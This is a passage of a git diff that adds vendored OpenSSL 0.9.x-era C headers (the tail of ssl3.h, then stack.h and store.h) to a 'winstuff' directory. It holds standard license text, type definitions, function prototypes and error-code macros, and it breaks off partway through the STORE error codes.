(0x1C0|SSL_ST_ACCEPT) +#define SSL3_ST_SR_FINISHED_B (0x1C1|SSL_ST_ACCEPT) +/* write to client */ +#define SSL3_ST_SW_CHANGE_A (0x1D0|SSL_ST_ACCEPT) +#define SSL3_ST_SW_CHANGE_B (0x1D1|SSL_ST_ACCEPT) +#define SSL3_ST_SW_FINISHED_A (0x1E0|SSL_ST_ACCEPT) +#define SSL3_ST_SW_FINISHED_B (0x1E1|SSL_ST_ACCEPT) +#define SSL3_ST_SW_SESSION_TICKET_A (0x1F0|SSL_ST_ACCEPT) +#define SSL3_ST_SW_SESSION_TICKET_B (0x1F1|SSL_ST_ACCEPT) +#define SSL3_ST_SW_CERT_STATUS_A (0x200|SSL_ST_ACCEPT) +#define SSL3_ST_SW_CERT_STATUS_B (0x201|SSL_ST_ACCEPT) + +#define SSL3_MT_HELLO_REQUEST 0 +#define SSL3_MT_CLIENT_HELLO 1 +#define SSL3_MT_SERVER_HELLO 2 +#define SSL3_MT_NEWSESSION_TICKET 4 +#define SSL3_MT_CERTIFICATE 11 +#define SSL3_MT_SERVER_KEY_EXCHANGE 12 +#define SSL3_MT_CERTIFICATE_REQUEST 13 +#define SSL3_MT_SERVER_DONE 14 +#define SSL3_MT_CERTIFICATE_VERIFY 15 +#define SSL3_MT_CLIENT_KEY_EXCHANGE 16 +#define SSL3_MT_FINISHED 20 +#define SSL3_MT_CERTIFICATE_STATUS 22 +#define DTLS1_MT_HELLO_VERIFY_REQUEST 3 + + +#define SSL3_MT_CCS 1 + +/* These are used when changing over to a new cipher */ +#define SSL3_CC_READ 0x01 +#define SSL3_CC_WRITE 0x02 +#define SSL3_CC_CLIENT 0x10 +#define SSL3_CC_SERVER 0x20 +#define SSL3_CHANGE_CIPHER_CLIENT_WRITE (SSL3_CC_CLIENT|SSL3_CC_WRITE) +#define SSL3_CHANGE_CIPHER_SERVER_READ (SSL3_CC_SERVER|SSL3_CC_READ) +#define SSL3_CHANGE_CIPHER_CLIENT_READ (SSL3_CC_CLIENT|SSL3_CC_READ) +#define SSL3_CHANGE_CIPHER_SERVER_WRITE (SSL3_CC_SERVER|SSL3_CC_WRITE) + +#ifdef __cplusplus +} +#endif +#endif + diff --git a/winstuff/openssl/stack.h b/winstuff/openssl/stack.h new file mode 100644 index 0000000..5cbb116 --- /dev/null +++ b/winstuff/openssl/stack.h @@ -0,0 +1,109 @@ +/* crypto/stack/stack.h */ +/* Copyright (C) 1995-1998 Eric Young (eay@cryptsoft.com) + * All rights reserved. + * + * This package is an SSL implementation written + * by Eric Young (eay@cryptsoft.com). + * The implementation was written so as to conform with Netscapes SSL. + * + * This library is free for commercial and non-commercial use as long as + * the following conditions are aheared to. The following conditions + * apply to all code found in this distribution, be it the RC4, RSA, + * lhash, DES, etc., code; not just the SSL code. The SSL documentation + * included with this distribution is covered by the same copyright terms + * except that the holder is Tim Hudson (tjh@cryptsoft.com). + * + * Copyright remains Eric Young's, and as such any Copyright notices in + * the code are not to be removed. + * If this package is used in a product, Eric Young should be given attribution + * as the author of the parts of the library used. + * This can be in the form of a textual message at program startup or + * in documentation (online or textual) provided with the package. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * "This product includes cryptographic software written by + * Eric Young (eay@cryptsoft.com)" + * The word 'cryptographic' can be left out if the rouines from the library + * being used are not cryptographic related :-). + * 4. If you include any Windows specific code (or a derivative thereof) from + * the apps directory (application code) you must include an acknowledgement: + * "This product includes software written by Tim Hudson (tjh@cryptsoft.com)" + * + * THIS SOFTWARE IS PROVIDED BY ERIC YOUNG ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + * The licence and distribution terms for any publically available version or + * derivative of this code cannot be changed. i.e. this code cannot simply be + * copied and put under another distribution licence + * [including the GNU Public Licence.] + */ + +#ifndef HEADER_STACK_H +#define HEADER_STACK_H + +#ifdef __cplusplus +extern "C" { +#endif + +typedef struct stack_st + { + int num; + char **data; + int sorted; + + int num_alloc; + int (*comp)(const char * const *, const char * const *); + } STACK; + +#define M_sk_num(sk) ((sk) ? (sk)->num:-1) +#define M_sk_value(sk,n) ((sk) ? (sk)->data[n] : NULL) + +int sk_num(const STACK *); +char *sk_value(const STACK *, int); + +char *sk_set(STACK *, int, char *); + +STACK *sk_new(int (*cmp)(const char * const *, const char * const *)); +STACK *sk_new_null(void); +void sk_free(STACK *); +void sk_pop_free(STACK *st, void (*func)(void *)); +int sk_insert(STACK *sk,char *data,int where); +char *sk_delete(STACK *st,int loc); +char *sk_delete_ptr(STACK *st, char *p); +int sk_find(STACK *st,char *data); +int sk_find_ex(STACK *st,char *data); +int sk_push(STACK *st,char *data); +int sk_unshift(STACK *st,char *data); +char *sk_shift(STACK *st); +char *sk_pop(STACK *st); +void sk_zero(STACK *st); +int (*sk_set_cmp_func(STACK *sk, int (*c)(const char * const *, + const char * const *))) + (const char * const *, const char * const *); +STACK *sk_dup(STACK *st); +void sk_sort(STACK *st); +int sk_is_sorted(const STACK *st); + +#ifdef __cplusplus +} +#endif + +#endif diff --git a/winstuff/openssl/store.h b/winstuff/openssl/store.h new file mode 100644 index 0000000..6458337 --- /dev/null +++ b/winstuff/openssl/store.h @@ -0,0 +1,554 @@ +/* crypto/store/store.h -*- mode:C; c-file-style: "eay" -*- */ +/* Written by Richard Levitte (richard@levitte.org) for the OpenSSL + * project 2003. + */ +/* ==================================================================== + * Copyright (c) 2003 The OpenSSL Project. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in + * the documentation and/or other materials provided with the + * distribution. + * + * 3. All advertising materials mentioning features or use of this + * software must display the following acknowledgment: + * "This product includes software developed by the OpenSSL Project + * for use in the OpenSSL Toolkit. (http://www.openssl.org/)" + * + * 4. The names "OpenSSL Toolkit" and "OpenSSL Project" must not be used to + * endorse or promote products derived from this software without + * prior written permission. For written permission, please contact + * openssl-core@openssl.org. + * + * 5. Products derived from this software may not be called "OpenSSL" + * nor may "OpenSSL" appear in their names without prior written + * permission of the OpenSSL Project. + * + * 6. Redistributions of any form whatsoever must retain the following + * acknowledgment: + * "This product includes software developed by the OpenSSL Project + * for use in the OpenSSL Toolkit (http://www.openssl.org/)" + * + * THIS SOFTWARE IS PROVIDED BY THE OpenSSL PROJECT ``AS IS'' AND ANY + * EXPRESSED OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR + * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE OpenSSL PROJECT OR + * ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, + * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, + * STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) + * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED + * OF THE POSSIBILITY OF SUCH DAMAGE. + * ==================================================================== + * + * This product includes cryptographic software written by Eric Young + * (eay@cryptsoft.com). This product includes software written by Tim + * Hudson (tjh@cryptsoft.com). + * + */ + +#ifndef HEADER_STORE_H +#define HEADER_STORE_H + +#include +#ifndef OPENSSL_NO_DEPRECATED +#include +#include +#include +#endif + +#ifdef __cplusplus +extern "C" { +#endif + +/* Already defined in ossl_typ.h */ +/* typedef struct store_st STORE; */ +/* typedef struct store_method_st STORE_METHOD; */ + + +/* All the following functions return 0, a negative number or NULL on error. + When everything is fine, they return a positive value or a non-NULL + pointer, all depending on their purpose. */ + +/* Creators and destructor. */ +STORE *STORE_new_method(const STORE_METHOD *method); +STORE *STORE_new_engine(ENGINE *engine); +void STORE_free(STORE *ui); + + +/* Give a user interface parametrised control commands. This can be used to + send down an integer, a data pointer or a function pointer, as well as + be used to get information from a STORE. */ +int STORE_ctrl(STORE *store, int cmd, long i, void *p, void (*f)(void)); + +/* A control to set the directory with keys and certificates. Used by the + built-in directory level method. */ +#define STORE_CTRL_SET_DIRECTORY 0x0001 +/* A control to set a file to load. Used by the built-in file level method. */ +#define STORE_CTRL_SET_FILE 0x0002 +/* A control to set a configuration file to load. Can be used by any method + that wishes to load a configuration file. */ +#define STORE_CTRL_SET_CONF_FILE 0x0003 +/* A control to set a the section of the loaded configuration file. Can be + used by any method that wishes to load a configuration file. */ +#define STORE_CTRL_SET_CONF_SECTION 0x0004 + + +/* Some methods may use extra data */ +#define STORE_set_app_data(s,arg) STORE_set_ex_data(s,0,arg) +#define STORE_get_app_data(s) STORE_get_ex_data(s,0) +int STORE_get_ex_new_index(long argl, void *argp, CRYPTO_EX_new *new_func, + CRYPTO_EX_dup *dup_func, CRYPTO_EX_free *free_func); +int STORE_set_ex_data(STORE *r,int idx,void *arg); +void *STORE_get_ex_data(STORE *r, int idx); + +/* Use specific methods instead of the built-in one */ +const STORE_METHOD *STORE_get_method(STORE *store); +const STORE_METHOD *STORE_set_method(STORE *store, const STORE_METHOD *meth); + +/* The standard OpenSSL methods. */ +/* This is the in-memory method. It does everything except revoking and updating, + and is of course volatile. It's used by other methods that have an in-memory + cache. */ +const STORE_METHOD *STORE_Memory(void); +#if 0 /* Not yet implemented */ +/* This is the directory store. It does everything except revoking and updating, + and uses STORE_Memory() to cache things in memory. */ +const STORE_METHOD *STORE_Directory(void); +/* This is the file store. It does everything except revoking and updating, + and uses STORE_Memory() to cache things in memory. Certificates are added + to it with the store operation, and it will only get cached certificates. */ +const STORE_METHOD *STORE_File(void); +#endif + +/* Store functions take a type code for the type of data they should store + or fetch */ +typedef enum STORE_object_types + { + STORE_OBJECT_TYPE_X509_CERTIFICATE= 0x01, /* X509 * */ + STORE_OBJECT_TYPE_X509_CRL= 0x02, /* X509_CRL * */ + STORE_OBJECT_TYPE_PRIVATE_KEY= 0x03, /* EVP_PKEY * */ + STORE_OBJECT_TYPE_PUBLIC_KEY= 0x04, /* EVP_PKEY * */ + STORE_OBJECT_TYPE_NUMBER= 0x05, /* BIGNUM * */ + STORE_OBJECT_TYPE_ARBITRARY= 0x06, /* BUF_MEM * */ + STORE_OBJECT_TYPE_NUM= 0x06 /* The amount of known + object types */ + } STORE_OBJECT_TYPES; +/* List of text strings corresponding to the object types. */ +extern const char * const STORE_object_type_string[STORE_OBJECT_TYPE_NUM+1]; + +/* Some store functions take a parameter list. Those parameters come with + one of the following codes. The comments following the codes below indicate + what type the value should be a pointer to. */ +typedef enum STORE_params + { + STORE_PARAM_EVP_TYPE= 0x01, /* int */ + STORE_PARAM_BITS= 0x02, /* size_t */ + STORE_PARAM_KEY_PARAMETERS= 0x03, /* ??? */ + STORE_PARAM_KEY_NO_PARAMETERS= 0x04, /* N/A */ + STORE_PARAM_AUTH_PASSPHRASE= 0x05, /* char * */ + STORE_PARAM_AUTH_KRB5_TICKET= 0x06, /* void * */ + STORE_PARAM_TYPE_NUM= 0x06 /* The amount of known + parameter types */ + } STORE_PARAM_TYPES; +/* Parameter value sizes. -1 means unknown, anything else is the required size. */ +extern const int STORE_param_sizes[STORE_PARAM_TYPE_NUM+1]; + +/* Store functions take attribute lists. Those attributes come with codes. + The comments following the codes below indicate what type the value should + be a pointer to. */ +typedef enum STORE_attribs + { + STORE_ATTR_END= 0x00, + STORE_ATTR_FRIENDLYNAME= 0x01, /* C string */ + STORE_ATTR_KEYID= 0x02, /* 160 bit string (SHA1) */ + STORE_ATTR_ISSUERKEYID= 0x03, /* 160 bit string (SHA1) */ + STORE_ATTR_SUBJECTKEYID= 0x04, /* 160 bit string (SHA1) */ + STORE_ATTR_ISSUERSERIALHASH= 0x05, /* 160 bit string (SHA1) */ + STORE_ATTR_ISSUER= 0x06, /* X509_NAME * */ + STORE_ATTR_SERIAL= 0x07, /* BIGNUM * */ + STORE_ATTR_SUBJECT= 0x08, /* X509_NAME * */ + STORE_ATTR_CERTHASH= 0x09, /* 160 bit string (SHA1) */ + STORE_ATTR_EMAIL= 0x0a, /* C string */ + STORE_ATTR_FILENAME= 0x0b, /* C string */ + STORE_ATTR_TYPE_NUM= 0x0b, /* The amount of known + attribute types */ + STORE_ATTR_OR= 0xff /* This is a special + separator, which + expresses the OR + operation. */ + } STORE_ATTR_TYPES; +/* Attribute value sizes. -1 means unknown, anything else is the required size. */ +extern const int STORE_attr_sizes[STORE_ATTR_TYPE_NUM+1]; + +typedef enum STORE_certificate_status + { + STORE_X509_VALID= 0x00, + STORE_X509_EXPIRED= 0x01, + STORE_X509_SUSPENDED= 0x02, + STORE_X509_REVOKED= 0x03 + } STORE_CERTIFICATE_STATUS; + +/* Engine store functions will return a structure that contains all the necessary + * information, including revokation status for certificates. This is really not + * needed for application authors, as the ENGINE framework functions will extract + * the OpenSSL-specific information when at all possible. However, for engine + * authors, it's crucial to know this structure. */ +typedef struct STORE_OBJECT_st + { + STORE_OBJECT_TYPES type; + union + { + struct + { + STORE_CERTIFICATE_STATUS status; + X509 *certificate; + } x509; + X509_CRL *crl; + EVP_PKEY *key; + BIGNUM *number; + BUF_MEM *arbitrary; + } data; + } STORE_OBJECT; +DECLARE_STACK_OF(STORE_OBJECT) +STORE_OBJECT *STORE_OBJECT_new(void); +void STORE_OBJECT_free(STORE_OBJECT *data); + + + +/* The following functions handle the storage. They return 0, a negative number + or NULL on error, anything else on success. */ +X509 *STORE_get_certificate(STORE *e, OPENSSL_ITEM attributes[], + OPENSSL_ITEM parameters[]); +int STORE_store_certificate(STORE *e, X509 *data, OPENSSL_ITEM attributes[], + OPENSSL_ITEM parameters[]); +int STORE_modify_certificate(STORE *e, OPENSSL_ITEM search_attributes[], + OPENSSL_ITEM add_attributes[], OPENSSL_ITEM modify_attributes[], + OPENSSL_ITEM delete_attributes[], OPENSSL_ITEM parameters[]); +int STORE_revoke_certificate(STORE *e, OPENSSL_ITEM attributes[], + OPENSSL_ITEM parameters[]); +int STORE_delete_certificate(STORE *e, OPENSSL_ITEM attributes[], + OPENSSL_ITEM parameters[]); +void *STORE_list_certificate_start(STORE *e, OPENSSL_ITEM attributes[], + OPENSSL_ITEM parameters[]); +X509 *STORE_list_certificate_next(STORE *e, void *handle); +int STORE_list_certificate_end(STORE *e, void *handle); +int STORE_list_certificate_endp(STORE *e, void *handle); +EVP_PKEY *STORE_generate_key(STORE *e, OPENSSL_ITEM attributes[], + OPENSSL_ITEM parameters[]); +EVP_PKEY *STORE_get_private_key(STORE *e, OPENSSL_ITEM attributes[], + OPENSSL_ITEM parameters[]); +int STORE_store_private_key(STORE *e, EVP_PKEY *data, + OPENSSL_ITEM attributes[], OPENSSL_ITEM parameters[]); +int STORE_modify_private_key(STORE *e, OPENSSL_ITEM search_attributes[], + OPENSSL_ITEM add_sttributes[], OPENSSL_ITEM modify_attributes[], + OPENSSL_ITEM delete_attributes[], OPENSSL_ITEM parameters[]); +int STORE_revoke_private_key(STORE *e, OPENSSL_ITEM attributes[], + OPENSSL_ITEM parameters[]); +int STORE_delete_private_key(STORE *e, OPENSSL_ITEM attributes[], + OPENSSL_ITEM parameters[]); +void *STORE_list_private_key_start(STORE *e, OPENSSL_ITEM attributes[], + OPENSSL_ITEM parameters[]); +EVP_PKEY *STORE_list_private_key_next(STORE *e, void *handle); +int STORE_list_private_key_end(STORE *e, void *handle); +int STORE_list_private_key_endp(STORE *e, void *handle); +EVP_PKEY *STORE_get_public_key(STORE *e, OPENSSL_ITEM attributes[], + OPENSSL_ITEM parameters[]); +int STORE_store_public_key(STORE *e, EVP_PKEY *data, OPENSSL_ITEM attributes[], + OPENSSL_ITEM parameters[]); +int STORE_modify_public_key(STORE *e, OPENSSL_ITEM search_attributes[], + OPENSSL_ITEM add_sttributes[], OPENSSL_ITEM modify_attributes[], + OPENSSL_ITEM delete_attributes[], OPENSSL_ITEM parameters[]); +int STORE_revoke_public_key(STORE *e, OPENSSL_ITEM attributes[], + OPENSSL_ITEM parameters[]); +int STORE_delete_public_key(STORE *e, OPENSSL_ITEM attributes[], + OPENSSL_ITEM parameters[]); +void *STORE_list_public_key_start(STORE *e, OPENSSL_ITEM attributes[], + OPENSSL_ITEM parameters[]); +EVP_PKEY *STORE_list_public_key_next(STORE *e, void *handle); +int STORE_list_public_key_end(STORE *e, void *handle); +int STORE_list_public_key_endp(STORE *e, void *handle); +X509_CRL *STORE_generate_crl(STORE *e, OPENSSL_ITEM attributes[], + OPENSSL_ITEM parameters[]); +X509_CRL *STORE_get_crl(STORE *e, OPENSSL_ITEM attributes[], + OPENSSL_ITEM parameters[]); +int STORE_store_crl(STORE *e, X509_CRL *data, OPENSSL_ITEM attributes[], + OPENSSL_ITEM parameters[]); +int STORE_modify_crl(STORE *e, OPENSSL_ITEM search_attributes[], + OPENSSL_ITEM add_sttributes[], OPENSSL_ITEM modify_attributes[], + OPENSSL_ITEM delete_attributes[], OPENSSL_ITEM parameters[]); +int STORE_delete_crl(STORE *e, OPENSSL_ITEM attributes[], + OPENSSL_ITEM parameters[]); +void *STORE_list_crl_start(STORE *e, OPENSSL_ITEM attributes[], + OPENSSL_ITEM parameters[]); +X509_CRL *STORE_list_crl_next(STORE *e, void *handle); +int STORE_list_crl_end(STORE *e, void *handle); +int STORE_list_crl_endp(STORE *e, void *handle); +int STORE_store_number(STORE *e, BIGNUM *data, OPENSSL_ITEM attributes[], + OPENSSL_ITEM parameters[]); +int STORE_modify_number(STORE *e, OPENSSL_ITEM search_attributes[], + OPENSSL_ITEM add_sttributes[], OPENSSL_ITEM modify_attributes[], + OPENSSL_ITEM delete_attributes[], OPENSSL_ITEM parameters[]); +BIGNUM *STORE_get_number(STORE *e, OPENSSL_ITEM attributes[], + OPENSSL_ITEM parameters[]); +int STORE_delete_number(STORE *e, OPENSSL_ITEM attributes[], + OPENSSL_ITEM parameters[]); +int STORE_store_arbitrary(STORE *e, BUF_MEM *data, OPENSSL_ITEM attributes[], + OPENSSL_ITEM parameters[]); +int STORE_modify_arbitrary(STORE *e, OPENSSL_ITEM search_attributes[], + OPENSSL_ITEM add_sttributes[], OPENSSL_ITEM modify_attributes[], + OPENSSL_ITEM delete_attributes[], OPENSSL_ITEM parameters[]); +BUF_MEM *STORE_get_arbitrary(STORE *e, OPENSSL_ITEM attributes[], + OPENSSL_ITEM parameters[]); +int STORE_delete_arbitrary(STORE *e, OPENSSL_ITEM attributes[], + OPENSSL_ITEM parameters[]); + + +/* Create and manipulate methods */ +STORE_METHOD *STORE_create_method(char *name); +void STORE_destroy_method(STORE_METHOD *store_method); + +/* These callback types are use for store handlers */ +typedef int (*STORE_INITIALISE_FUNC_PTR)(STORE *); +typedef void (*STORE_CLEANUP_FUNC_PTR)(STORE *); +typedef STORE_OBJECT *(*STORE_GENERATE_OBJECT_FUNC_PTR)(STORE *, STORE_OBJECT_TYPES type, OPENSSL_ITEM attributes[], OPENSSL_ITEM parameters[]); +typedef STORE_OBJECT *(*STORE_GET_OBJECT_FUNC_PTR)(STORE *, STORE_OBJECT_TYPES type, OPENSSL_ITEM attributes[], OPENSSL_ITEM parameters[]); +typedef void *(*STORE_START_OBJECT_FUNC_PTR)(STORE *, STORE_OBJECT_TYPES type, OPENSSL_ITEM attributes[], OPENSSL_ITEM parameters[]); +typedef STORE_OBJECT *(*STORE_NEXT_OBJECT_FUNC_PTR)(STORE *, void *handle); +typedef int (*STORE_END_OBJECT_FUNC_PTR)(STORE *, void *handle); +typedef int (*STORE_HANDLE_OBJECT_FUNC_PTR)(STORE *, STORE_OBJECT_TYPES type, OPENSSL_ITEM attributes[], OPENSSL_ITEM parameters[]); +typedef int (*STORE_STORE_OBJECT_FUNC_PTR)(STORE *, STORE_OBJECT_TYPES type, STORE_OBJECT *data, OPENSSL_ITEM attributes[], OPENSSL_ITEM parameters[]); +typedef int (*STORE_MODIFY_OBJECT_FUNC_PTR)(STORE *, STORE_OBJECT_TYPES type, OPENSSL_ITEM search_attributes[], OPENSSL_ITEM add_attributes[], OPENSSL_ITEM modify_attributes[], OPENSSL_ITEM delete_attributes[], OPENSSL_ITEM parameters[]); +typedef int (*STORE_GENERIC_FUNC_PTR)(STORE *, OPENSSL_ITEM attributes[], OPENSSL_ITEM parameters[]); +typedef int (*STORE_CTRL_FUNC_PTR)(STORE *, int cmd, long l, void *p, void (*f)(void)); + +int STORE_method_set_initialise_function(STORE_METHOD *sm, STORE_INITIALISE_FUNC_PTR init_f); +int STORE_method_set_cleanup_function(STORE_METHOD *sm, STORE_CLEANUP_FUNC_PTR clean_f); +int STORE_method_set_generate_function(STORE_METHOD *sm, STORE_GENERATE_OBJECT_FUNC_PTR generate_f); +int STORE_method_set_get_function(STORE_METHOD *sm, STORE_GET_OBJECT_FUNC_PTR get_f); +int STORE_method_set_store_function(STORE_METHOD *sm, STORE_STORE_OBJECT_FUNC_PTR store_f); +int STORE_method_set_modify_function(STORE_METHOD *sm, STORE_MODIFY_OBJECT_FUNC_PTR store_f); +int STORE_method_set_revoke_function(STORE_METHOD *sm, STORE_HANDLE_OBJECT_FUNC_PTR revoke_f); +int STORE_method_set_delete_function(STORE_METHOD *sm, STORE_HANDLE_OBJECT_FUNC_PTR delete_f); +int STORE_method_set_list_start_function(STORE_METHOD *sm, STORE_START_OBJECT_FUNC_PTR list_start_f); +int STORE_method_set_list_next_function(STORE_METHOD *sm, STORE_NEXT_OBJECT_FUNC_PTR list_next_f); +int STORE_method_set_list_end_function(STORE_METHOD *sm, STORE_END_OBJECT_FUNC_PTR list_end_f); +int STORE_method_set_update_store_function(STORE_METHOD *sm, STORE_GENERIC_FUNC_PTR); +int STORE_method_set_lock_store_function(STORE_METHOD *sm, STORE_GENERIC_FUNC_PTR); +int STORE_method_set_unlock_store_function(STORE_METHOD *sm, STORE_GENERIC_FUNC_PTR); +int STORE_method_set_ctrl_function(STORE_METHOD *sm, STORE_CTRL_FUNC_PTR ctrl_f); + +STORE_INITIALISE_FUNC_PTR STORE_method_get_initialise_function(STORE_METHOD *sm); +STORE_CLEANUP_FUNC_PTR STORE_method_get_cleanup_function(STORE_METHOD *sm); +STORE_GENERATE_OBJECT_FUNC_PTR STORE_method_get_generate_function(STORE_METHOD *sm); +STORE_GET_OBJECT_FUNC_PTR STORE_method_get_get_function(STORE_METHOD *sm); +STORE_STORE_OBJECT_FUNC_PTR STORE_method_get_store_function(STORE_METHOD *sm); +STORE_MODIFY_OBJECT_FUNC_PTR STORE_method_get_modify_function(STORE_METHOD *sm); +STORE_HANDLE_OBJECT_FUNC_PTR STORE_method_get_revoke_function(STORE_METHOD *sm); +STORE_HANDLE_OBJECT_FUNC_PTR STORE_method_get_delete_function(STORE_METHOD *sm); +STORE_START_OBJECT_FUNC_PTR STORE_method_get_list_start_function(STORE_METHOD *sm); +STORE_NEXT_OBJECT_FUNC_PTR STORE_method_get_list_next_function(STORE_METHOD *sm); +STORE_END_OBJECT_FUNC_PTR STORE_method_get_list_end_function(STORE_METHOD *sm); +STORE_GENERIC_FUNC_PTR STORE_method_get_update_store_function(STORE_METHOD *sm); +STORE_GENERIC_FUNC_PTR STORE_method_get_lock_store_function(STORE_METHOD *sm); +STORE_GENERIC_FUNC_PTR STORE_method_get_unlock_store_function(STORE_METHOD *sm); +STORE_CTRL_FUNC_PTR STORE_method_get_ctrl_function(STORE_METHOD *sm); + +/* Method helper structures and functions. */ + +/* This structure is the result of parsing through the information in a list + of OPENSSL_ITEMs. It stores all the necessary information in a structured + way.*/ +typedef struct STORE_attr_info_st STORE_ATTR_INFO; + +/* Parse a list of OPENSSL_ITEMs and return a pointer to a STORE_ATTR_INFO. + Note that we do this in the list form, since the list of OPENSSL_ITEMs can + come in blocks separated with STORE_ATTR_OR. Note that the value returned + by STORE_parse_attrs_next() must be freed with STORE_ATTR_INFO_free(). */ +void *STORE_parse_attrs_start(OPENSSL_ITEM *attributes); +STORE_ATTR_INFO *STORE_parse_attrs_next(void *handle); +int STORE_parse_attrs_end(void *handle); +int STORE_parse_attrs_endp(void *handle); + +/* Creator and destructor */ +STORE_ATTR_INFO *STORE_ATTR_INFO_new(void); +int STORE_ATTR_INFO_free(STORE_ATTR_INFO *attrs); + +/* Manipulators */ +char *STORE_ATTR_INFO_get0_cstr(STORE_ATTR_INFO *attrs, STORE_ATTR_TYPES code); +unsigned char *STORE_ATTR_INFO_get0_sha1str(STORE_ATTR_INFO *attrs, + STORE_ATTR_TYPES code); +X509_NAME *STORE_ATTR_INFO_get0_dn(STORE_ATTR_INFO *attrs, STORE_ATTR_TYPES code); +BIGNUM *STORE_ATTR_INFO_get0_number(STORE_ATTR_INFO *attrs, STORE_ATTR_TYPES code); +int STORE_ATTR_INFO_set_cstr(STORE_ATTR_INFO *attrs, STORE_ATTR_TYPES code, + char *cstr, size_t cstr_size); +int STORE_ATTR_INFO_set_sha1str(STORE_ATTR_INFO *attrs, STORE_ATTR_TYPES code, + unsigned char *sha1str, size_t sha1str_size); +int STORE_ATTR_INFO_set_dn(STORE_ATTR_INFO *attrs, STORE_ATTR_TYPES code, + X509_NAME *dn); +int STORE_ATTR_INFO_set_number(STORE_ATTR_INFO *attrs, STORE_ATTR_TYPES code, + BIGNUM *number); +int STORE_ATTR_INFO_modify_cstr(STORE_ATTR_INFO *attrs, STORE_ATTR_TYPES code, + char *cstr, size_t cstr_size); +int STORE_ATTR_INFO_modify_sha1str(STORE_ATTR_INFO *attrs, STORE_ATTR_TYPES code, + unsigned char *sha1str, size_t sha1str_size); +int STORE_ATTR_INFO_modify_dn(STORE_ATTR_INFO *attrs, STORE_ATTR_TYPES code, + X509_NAME *dn); +int STORE_ATTR_INFO_modify_number(STORE_ATTR_INFO *attrs, STORE_ATTR_TYPES code, + BIGNUM *number); + +/* Compare on basis of a bit pattern formed by the STORE_ATTR_TYPES values + in each contained attribute. */ +int STORE_ATTR_INFO_compare(STORE_ATTR_INFO *a, STORE_ATTR_INFO *b); +/* Check if the set of attributes in a is within the range of attributes + set in b. */ +int STORE_ATTR_INFO_in_range(STORE_ATTR_INFO *a, STORE_ATTR_INFO *b); +/* Check if the set of attributes in a are also set in b. */ +int STORE_ATTR_INFO_in(STORE_ATTR_INFO *a, STORE_ATTR_INFO *b); +/* Same as STORE_ATTR_INFO_in(), but also checks the attribute values. */ +int STORE_ATTR_INFO_in_ex(STORE_ATTR_INFO *a, STORE_ATTR_INFO *b); + + +/* BEGIN ERROR CODES */ +/* The following lines are auto generated by the script mkerr.pl. Any changes + * made after this point may be overwritten when the script is next run. + */ +void ERR_load_STORE_strings(void); + +/* Error codes for the STORE functions. */ + +/* Function codes. */ +#define STORE_F_MEM_DELETE 134 +#define STORE_F_MEM_GENERATE 135 +#define STORE_F_MEM_LIST_END 168 +#define STORE_F_MEM_LIST_NEXT 136 +#define STORE_F_MEM_LIST_START 137 +#define STORE_F_MEM_MODIFY 169 +#define STORE_F_MEM_STORE 138 +#define STORE_F_STORE_ATTR_INFO_GET0_CSTR 139 +#define STORE_F_STORE_ATTR_INFO_GET0_DN 140 +#define STORE_F_STORE_ATTR_INFO_GET0_NUMBER 141 +#define STORE_F_STORE_ATTR_INFO_GET0_SHA1STR 142 +#define STORE_F_STORE_ATTR_INFO_MODIFY_CSTR 143 +#define STORE_F_STORE_ATTR_INFO_MODIFY_DN 144 +#define STORE_F_STORE_ATTR_INFO_MODIFY_NUMBER 145 +#define STORE_F_STORE_ATTR_INFO_MODIFY_SHA1STR 146 +#define STORE_F_STORE_ATTR_INFO_SET_CSTR 147 +#define STORE_F_STORE_ATTR_INFO_SET_DN 148 +#define STORE_F_STORE_ATTR_INFO_SET_NUMBER 149 +#define STORE_F_STORE_ATTR_INFO_SET_SHA1STR 150 +#define STORE_F_STORE_CERTIFICATE 170 +#define STORE_F_STORE_CTRL 161 +#define STORE_F_STORE_DELETE_ARBITRARY 158 +#define STORE_F_STORE_DELETE_CERTIFICATE 102 +#define STORE_F_STORE_DELETE_CRL 103 +#define STORE_F_STORE_DELETE_NUMBER 104 +#define STORE_F_STORE_DELETE_PRIVATE_KEY 105 +#define STORE_F_STORE_DELETE_PUBLIC_KEY 106 +#define STORE_F_STORE_GENERATE_CRL 107 +#define STORE_F_STORE_GENERATE_KEY 108 +#define 